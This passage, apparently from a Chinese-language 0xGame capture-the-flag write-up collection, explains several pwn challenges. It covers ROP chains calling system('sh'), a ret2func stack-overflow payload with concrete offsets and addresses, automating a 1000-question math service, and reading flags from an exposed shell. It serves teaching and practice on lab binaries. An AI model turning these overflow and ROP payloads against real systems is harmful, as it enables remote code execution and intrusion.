&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;[0xGame]ROP2&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-comment&quot;&gt;## 填好脚本中的 HOST&#x2F;PORT 后&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;uv&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; run python solution&#x2F;solution.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;jie-lun&quot;&gt;结论&lt;&#x2F;h4&gt;
&lt;p&gt;即使二进制中没有 &lt;code&gt;sh&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;code&gt; 常量，也可以借助代码段中的 &lt;code&gt;&quot;$0\x00&quot;&lt;&#x2F;code&gt; 作为 &lt;code&gt;system&lt;&#x2F;code&gt; 的参数来获得 shell。这是 ROP 控参思路在实战中的一个小技巧。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;0xgame-rop1-write-up&quot;&gt;0xGame ROP1 Write-up&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;mu-biao-1&quot;&gt;目标&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;通过 ROP 控制 &lt;code&gt;system&lt;&#x2F;code&gt; 的参数，实现远程命令执行（RCE）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;jing-tai-fen-xi-yao-dian-1&quot;&gt;静态分析要点&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;No PIE、NX 开、无 Canary，典型易 ROP 场景。&lt;&#x2F;li&gt;
&lt;li&gt;符号：&lt;code&gt;gadget@0x401176&lt;&#x2F;code&gt;、&lt;code&gt;help@0x401183&lt;&#x2F;code&gt;、&lt;code&gt;main@0x40119d&lt;&#x2F;code&gt;、&lt;code&gt;system@plt@0x401070&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;main&lt;&#x2F;code&gt; 调用 &lt;code&gt;read(0, buf, 0x100)&lt;&#x2F;code&gt; 且 &lt;code&gt;buf&lt;&#x2F;code&gt; 大小仅 &lt;code&gt;0x20&lt;&#x2F;code&gt;，可溢出覆盖返回地址。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;.rodata&lt;&#x2F;code&gt; 含有字符串 &lt;code&gt;echo Maybe you need this: sh&lt;&#x2F;code&gt;，其中 &lt;code&gt;&quot;sh&quot;&lt;&#x2F;code&gt; 子串位于 &lt;code&gt;0x40201e&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;gadget&lt;&#x2F;code&gt; 汇编：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;push rbp; mov rbp, rsp; pop rdi; ret&lt;&#x2F;code&gt;，效果等同 &lt;code&gt;pop rdi; ret&lt;&#x2F;code&gt;（用于布置 &lt;code&gt;system&lt;&#x2F;code&gt; 的第 1 参）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;因此，偏移 $= 0x20 + 8 = 0x28$；链路：&lt;code&gt;gadget -&amp;gt; &quot;sh&quot; -&amp;gt; system@plt&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;rop-lian-biao-da&quot;&gt;ROP 链表达&lt;&#x2F;h4&gt;
&lt;p&gt;设返回地址覆写为序列 $[G, A, S]$，其中&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;$G=\text{gadget}$（设置 $rdi=A$），&lt;&#x2F;li&gt;
&lt;li&gt;$A=\text{addr}(\text{“sh”})$，&lt;&#x2F;li&gt;
&lt;li&gt;$S=\text{system@plt}$。
执行流程：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;$$
\text{ret} \to G \Rightarrow rdi \leftarrow A,\ \text{ret} \to S \Rightarrow system(A).
$$&lt;&#x2F;p&gt;
&lt;h4 id=&quot;exploit-jiao-ben&quot;&gt;Exploit 脚本&lt;&#x2F;h4&gt;
&lt;p&gt;见 &lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;偏移与地址均按上面确定；&lt;&#x2F;li&gt;
&lt;li&gt;连接后直接发 payload，然后 &lt;code&gt;cat flag&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;内置短超时，防止长时间卡顿。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;yun-xing-1&quot;&gt;运行&lt;&#x2F;h4&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;[0xGame]ROP1&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-comment&quot;&gt;## 填好脚本中的 HOST&#x2F;PORT 后&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;uv&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; run python solution&#x2F;solution.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;jie-guo-4&quot;&gt;结果&lt;&#x2F;h4&gt;
&lt;p&gt;成功弹 shell 并 &lt;code&gt;cat flag&lt;&#x2F;code&gt;，完成 RCE。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;0xgame-nc1-ctfplus-cn-49641-ji-chu-zhan-yi-chu-write-up&quot;&gt;0xGame nc1.ctfplus.cn:49641 基础栈溢出 Write-up&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;难度：简单&lt;&#x2F;li&gt;
&lt;li&gt;类型：Pwn &#x2F; 栈溢出（ret2func）&lt;&#x2F;li&gt;
&lt;li&gt;远程：&lt;code&gt;nc1.ctfplus.cn 49641&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;ti-mu-yu-fu-jian-1&quot;&gt;题目与附件&lt;&#x2F;h4&gt;
&lt;p&gt;当前目录附带可执行文件 &lt;code&gt;task&#x2F;stack-overflow&lt;&#x2F;code&gt;（64 位 ELF，非 PIE）。我们只需直接打远程即可，不需要本地调试也能完成；但为了稳妥，我先做了快速静态分析确定思路与偏移。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;kuai-su-jing-tai-fen-xi&quot;&gt;快速静态分析&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;checksec&lt;&#x2F;code&gt; 结果：No PIE、NX 启用、Canary 关闭，ELF 含 CET 标记（IBT&#x2F;SHSTK），但远端通常不强制 Shadow Stack。&lt;&#x2F;li&gt;
&lt;li&gt;符号表（节选）：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;backdoor@0x4011d6&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;whhhat@0x4011f7&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;main@0x40122a&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;关键代码（反汇编要点）：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;main&lt;&#x2F;code&gt; 在栈上开辟 $0x30$ 字节缓冲区，并调用 &lt;code&gt;read(0, buf, 0x100)&lt;&#x2F;code&gt;，存在明显溢出。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;whhhat@0x4011f7&lt;&#x2F;code&gt;：
&lt;ol&gt;
&lt;li&gt;打印一行（&lt;code&gt;puts&lt;&#x2F;code&gt;，实测为 &lt;code&gt;good work!&lt;&#x2F;code&gt;）；&lt;&#x2F;li&gt;
&lt;li&gt;构造参数后直接 &lt;code&gt;execve(&quot;&#x2F;bin&#x2F;sh&quot;, NULL, NULL)&lt;&#x2F;code&gt;，相当于帮我们起一个交互 shell（继承同一套标准 I&#x2F;O）。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;偏移计算：覆盖返回地址需要 $0x30$（局部缓冲）$+$ $8$（保存的 RBP）$=$ $0x38$ 字节。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;因此最小利用为 ret2func：把返回地址改为 &lt;code&gt;whhhat&lt;&#x2F;code&gt;（&lt;code&gt;0x4011F7&lt;&#x2F;code&gt;），无需 ROP 链也无需泄露地址。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;li-yong-si-lu&quot;&gt;利用思路&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;连接后服务端会输出提示行 &lt;code&gt;Just say something...&lt;&#x2F;code&gt; 并阻塞读入；&lt;&#x2F;li&gt;
&lt;li&gt;构造 &lt;code&gt;payload = b&quot;A&quot;*0x38 + p64(0x4011F7)&lt;&#x2F;code&gt; 触发返回至 &lt;code&gt;whhhat&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;进入 &lt;code&gt;whhhat&lt;&#x2F;code&gt; 后先打印 &lt;code&gt;good work!&lt;&#x2F;code&gt; 再 &lt;code&gt;execve(&quot;&#x2F;bin&#x2F;sh&quot;)&lt;&#x2F;code&gt;，这会直接把当前进程镜像替换为 &lt;code&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;code&gt;，我们获得交互；&lt;&#x2F;li&gt;
&lt;li&gt;发送 &lt;code&gt;cat flag&lt;&#x2F;code&gt; 即可拿到 flag。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;注意：由于 I&#x2F;O 交错，&lt;code&gt;good work!&lt;&#x2F;code&gt; 或命令输出可能与提示行交织。脚本里采用短超时、多次读取并在缓冲中查找 &lt;code&gt;0xGame{&lt;&#x2F;code&gt;，确保稳健拿 flag。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;huan-chong-qu-fu-xie&quot;&gt;缓冲区覆写&lt;&#x2F;h4&gt;
&lt;p&gt;若返回地址位于栈帧布局：
$$
\underbrace{\text{buf}[0..0x2F]}&lt;em&gt;{0x30\ \text{bytes}};\Vert;\underbrace{\text{saved\ RBP}}&lt;&#x2F;em&gt;{8\ \text{bytes}};\Vert;\underbrace{\text{RET}}_{8\ \text{bytes}}
$$
则向 &lt;code&gt;read&lt;&#x2F;code&gt; 写入长度 $L\ge 0x38+8$ 的数据，令 &lt;code&gt;RET=\text{addr}(\text{whhhat})$，返回即跳转至&lt;&#x2F;code&gt;whhhat&lt;code&gt;执行。因为目标函数本身完成了寄存器参数设置和&lt;&#x2F;code&gt;execve`，我们不必搭建 ROP。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;zi-dong-hua-jiao-ben-pwntools&quot;&gt;自动化脚本（Pwntools）&lt;&#x2F;h4&gt;
&lt;p&gt;路径：&lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;默认短超时与缓冲读取，防止“等了 10 分钟没有结果”的卡死；&lt;&#x2F;li&gt;
&lt;li&gt;提供 &lt;code&gt;debug&lt;&#x2F;code&gt; 开关，便于观察远程交互细节；&lt;&#x2F;li&gt;
&lt;li&gt;仅依赖 &lt;code&gt;pwntools&lt;&#x2F;code&gt;，通过 &lt;code&gt;uv&lt;&#x2F;code&gt; 管理环境。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;运行：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;[0xGame]nc1-49641&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;uv&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; run python solution&#x2F;solution.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;输出示例：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0xGame{W0w_y0u_kn0w_h0w_t0_h1j@ck_3x3cut10n_fl0w}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;yuan-cheng-diao-shi-jian-yi&quot;&gt;远程调试建议&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;code&gt;solve(debug=True)&lt;&#x2F;code&gt; 观察：
&lt;ul&gt;
&lt;li&gt;banner；&lt;&#x2F;li&gt;
&lt;li&gt;发送 payload 后的即时输出（&lt;code&gt;good work!&lt;&#x2F;code&gt;&#x2F;换行）；&lt;&#x2F;li&gt;
&lt;li&gt;执行 &lt;code&gt;cat flag&lt;&#x2F;code&gt; 后的流式数据；&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;若未见 flag：
&lt;ul&gt;
&lt;li&gt;重试连接，或适当增大 &lt;code&gt;overall_timeout&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;改为先 &lt;code&gt;pwd &amp;amp;&amp;amp; ls -la&lt;&#x2F;code&gt; 确认 &lt;code&gt;flag&lt;&#x2F;code&gt; 是否在当前目录（实测在根目录 &lt;code&gt;&#x2F;&lt;&#x2F;code&gt;）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;jie-lun-1&quot;&gt;结论&lt;&#x2F;h4&gt;
&lt;p&gt;本题为经典 ret2func 基础练习：找到可调用的“后门”函数 &lt;code&gt;whhhat&lt;&#x2F;code&gt;，通过溢出直接将返回地址劫持过去，即可一把到 shell 并读取 flag。无需泄露地址、无需复杂 ROP，是非常适合入门的栈溢出题。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;0xgame-nc1-ctfplus-cn-14164-shu-xue-lian-wen-write-up&quot;&gt;0xGame nc1.ctfplus.cn:14164 数学连问 Write-up&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ti-yi-gai-shu&quot;&gt;题意概述&lt;&#x2F;h4&gt;
&lt;p&gt;远程服务在连接后会连续抛出 1000 道四则题目（仅含 $+$、$-$、$x$ 三种运算）。每答对一题反馈 &lt;code&gt;Good work!&lt;&#x2F;code&gt; 并立刻给出下一题；全部答完后提示 &lt;code&gt;Congratulations on completing the challenge&lt;&#x2F;code&gt;，此时再输入 &lt;code&gt;cat flag&lt;&#x2F;code&gt; 即可获得最终 flag：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0xGame{7h3_m4573r_0f_m47h!!!}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;tan-ce-yu-xin-xi-shou-ji&quot;&gt;探测与信息收集&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;基础探测&lt;&#x2F;strong&gt;：&lt;code&gt;nc&lt;&#x2F;code&gt; 连上 &lt;code&gt;nc1.ctfplus.cn 14164&lt;&#x2F;code&gt;，立即收到 “Are you good at math?”、“Kore wa shiren da!” 和首道题。例如：&lt;code&gt;733 - 400 = ?&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;观察反馈&lt;&#x2F;strong&gt;：随意答题若正确会回 &lt;code&gt;Good work!&lt;&#x2F;code&gt; 并刷新题目。错误或超时会断开，需重新过题。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;运算模式归纳&lt;&#x2F;strong&gt;：通过脚本重复连接并正则抽取表达式，得到运算符集合为 ${+, -, x}$。题目格式固定为
$$
A\ \text{op}\ B = ?
$$
其中 $A,B\in \mathbb{Z}$，范围约在 $[0, 1000)$，乘法题积可达 $O(10^6)$。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;终局行为&lt;&#x2F;strong&gt;：成功解完 1000 题后出现祝贺语，没有直接给 flag；进一步发送 &lt;code&gt;cat flag&lt;&#x2F;code&gt;（或任意能读取文件的指令）即可得到 flag，说明后端实际上直接暴露了 shell。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;shu-xue-yu-shi-xian-si-lu&quot;&gt;数学与实现思路&lt;&#x2F;h4&gt;
&lt;p&gt;对任意题目，记 $A,B\in\mathbb{Z}$，运算符 $\circ\in{+, -, \times}$，目标即计算
$$
\text{ans} =
\begin{cases}
A + B, &amp;amp; \circ = +,\
A - B, &amp;amp; \circ = -,\
A \times B, &amp;amp; \circ = \times.
\end{cases}
$$
乘法题数量明显最多（约占 $2&#x2F;3$），若单轮耗时 $t$ 秒，全部完成需要 $1000t$ 秒。故必须自动化避免人工输入。实现关键点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;使用 &lt;strong&gt;正则表达式&lt;&#x2F;strong&gt; &lt;code&gt;(-?\d+)\s*([+\-x])\s*(-?\d+)&lt;&#x2F;code&gt; 捕获 $A$、运算符、$B$；&lt;&#x2F;li&gt;
&lt;li&gt;按运算符分支求值；&lt;&#x2F;li&gt;
&lt;li&gt;连续调用 &lt;code&gt;sendline&lt;&#x2F;code&gt; 回传答案，循环直到检测到祝贺语；&lt;&#x2F;li&gt;
&lt;li&gt;收到祝贺语后发送 &lt;code&gt;cat flag&lt;&#x2F;code&gt;，再读取包含 &lt;code&gt;0xGame{&lt;&#x2F;code&gt; 的行并返回。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;zi-dong-hua-jiao-ben-9&quot;&gt;自动化脚本&lt;&#x2F;h4&gt;
&lt;p&gt;源码：&lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;依赖：&lt;code&gt;pwntools&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;工具链：&lt;code&gt;uv&lt;&#x2F;code&gt; 创建虚拟环境并安装依赖&lt;&#x2F;li&gt;
&lt;li&gt;主要函数说明：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;evaluate(expr: str) -&amp;gt; int&lt;&#x2F;code&gt;：解析题目并返回计算结果；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;solve(debug: bool = False) -&amp;gt; str&lt;&#x2F;code&gt;：完成 1000 道题并执行 &lt;code&gt;cat flag&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;fu-xian-bu-zou&quot;&gt;复现步骤&lt;&#x2F;h4&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;[0xGame]nc1-14164&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;uv&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; run python solution&#x2F;solution.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;首轮运行会自动在当前目录创建 &lt;code&gt;.venv&lt;&#x2F;code&gt; 并安装 &lt;code&gt;pwntools&lt;&#x2F;code&gt;。脚本会输出最终 flag。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;guo-cheng-ji-lu&quot;&gt;过程记录&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;早期手工连线确认题目结构与反馈文字。&lt;&#x2F;li&gt;
&lt;li&gt;编写快速正则脚本统计运算符，确认仅含 $+$、$-$、$x$。&lt;&#x2F;li&gt;
&lt;li&gt;使用 &lt;code&gt;pwntools.remote&lt;&#x2F;code&gt; 重复答题 1000 次，首次仅拿到祝贺语，随后推测服务开放了 shell，尝试发送 &lt;code&gt;cat flag&lt;&#x2F;code&gt; 成功得到 flag。&lt;&#x2F;li&gt;
&lt;li&gt;最终脚本运行时间约 65~70 秒，稳定通过。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;jie-lun-2&quot;&gt;结论&lt;&#x2F;h4&gt;
&lt;p&gt;这是一个典型的“连问”脚本题，核心在于：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;快速解析并计算基础算术；&lt;&#x2F;li&gt;
&lt;li&gt;处理大量交互而不丢包；&lt;&#x2F;li&gt;
&lt;li&gt;识别终局提示并进一步执行命令拿到 flag。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;题虽标注为 Pwn，但本质上是简单的交互自动化练习，难点在耐心与脚本正确性。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;0xgame-nc1-ctfplus-cn-14099-write-up&quot;&gt;0xGame nc1.ctfplus.cn:14099 Write-up&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ti-mu-fu-xian-huan-jing&quot;&gt;题目复现环境&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;目标地址：&lt;code&gt;nc1.ctfplus.cn&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;端口：&lt;code&gt;14099&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;官方提示：无附件，直连服务即可。&lt;&#x2F;li&gt;
&lt;li&gt;本地复现命令：&lt;code&gt;uv run python solution&#x2F;solution.py&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;xin-xi-shou-ji-yu-tui-li-guo-cheng&quot;&gt;信息收集与推理过程&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;建立初始连接&lt;&#x2F;strong&gt;：先使用 &lt;code&gt;nc&lt;&#x2F;code&gt; 发送任意字符串；服务端回显 &lt;code&gt;&#x2F;bin&#x2F;sh: 1: &amp;lt;cmd&amp;gt;: not found&lt;&#x2F;code&gt;，表明后台直接把我们的输入喂给了一个 &lt;code&gt;&#x2F;bin&#x2F;sh&lt;&#x2F;code&gt; 子进程。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;枚举文件系统&lt;&#x2F;strong&gt;：输入 &lt;code&gt;ls&lt;&#x2F;code&gt; 得到根目录内容，出现 &lt;code&gt;flag&lt;&#x2F;code&gt; 文件，推测 flag 即保存在此处。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;验证权限假设&lt;&#x2F;strong&gt;：继续执行 &lt;code&gt;cat flag&lt;&#x2F;code&gt;，无任何额外限制，直接返回字符串 &lt;code&gt;0xGame{test_your_nc_first}&lt;&#x2F;code&gt;。这说明服务端对子命令没有额外过滤，可以直接读取目标文件。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;上述过程可以抽象成一次简单的命令注入模型。设服务端执行逻辑为
$$
\text{output} = \text{sh}(\text{user“+“cmd})
$$
只要我们提供的 &lt;code&gt;cmd&lt;&#x2F;code&gt; 在 shell 中合法，该服务就会执行并返回结果。由于没有对敏感命令做黑名单拦截，直接读取 flag 即可。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;exploit-bu-zou&quot;&gt;Exploit 步骤&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;连接：&lt;code&gt;nc nc1.ctfplus.cn 14099&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;获取文件列表：&lt;code&gt;ls&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;读取 flag：&lt;code&gt;cat flag&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;zi-dong-hua-jiao-ben-10&quot;&gt;自动化脚本&lt;&#x2F;h4&gt;
&lt;p&gt;源码位于 &lt;code&gt;solution&#x2F;solution.py&lt;&#x2F;code&gt;，核心逻辑：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;使用 &lt;code&gt;socket.create_connection&lt;&#x2F;code&gt; 建立 TCP 连接。&lt;&#x2F;li&gt;
&lt;li&gt;发送命令 &lt;code&gt;cat flag\n&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;读取单个数据包并解码为字符串。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;理论上 flag 长度有限（这里为 28 字符），一次 &lt;code&gt;recv(4096)&lt;&#x2F;code&gt; 足够覆盖全部输出；若服务存在延迟，可在脚本中添加循环读取直到换行结束。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;yun-xing-fang-fa&quot;&gt;运行方法&lt;&#x2F;h4&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin&quot;&gt;cd&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;quot;[0xGame]nc1-14099&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;uv&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; run python solution&#x2F;solution.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;第一次执行 &lt;code&gt;uv run&lt;&#x2F;code&gt; 会自动在当前目录创建 &lt;code&gt;.venv&lt;&#x2F;code&gt; 并下载兼容的 Python 解释器。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;shu-chu-jie-guo&quot;&gt;输出结果&lt;&#x2F;h4&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0xGame{test_your_nc_first}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;zong-jie-1&quot;&gt;总结&lt;&#x2F;h4&gt;
&lt;p&gt;该题本质是确认远程服务直接执行我们输入的命令。在没有额外黑名单或沙箱限制的情况下，最直接的策略就是列目录并 &lt;code&gt;cat flag&lt;&#x2F;code&gt;。虽然题目被归类为 Pwn，但实现上等价于裸命令执行。若面对更严苛的环境，可考虑：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;检测是否存在命令过滤并构造绕过 payload；&lt;&#x2F;li&gt;
&lt;li&gt;通过环境变量或内置工具转储 flag；&lt;&#x2F;li&gt;
&lt;li&gt;使用半交互脚本自动化方便批量验证。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在当前场景下，最优方案就是直接读取 flag，简单高效。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;crypto&quot;&gt;Crypto&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;prime-modulus-rsa&quot;&gt;Prime-Modulus-RSA&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ti-mu-fen-xi&quot;&gt;题目分析&lt;&#x2F;h4&gt;
&lt;ul&gt;
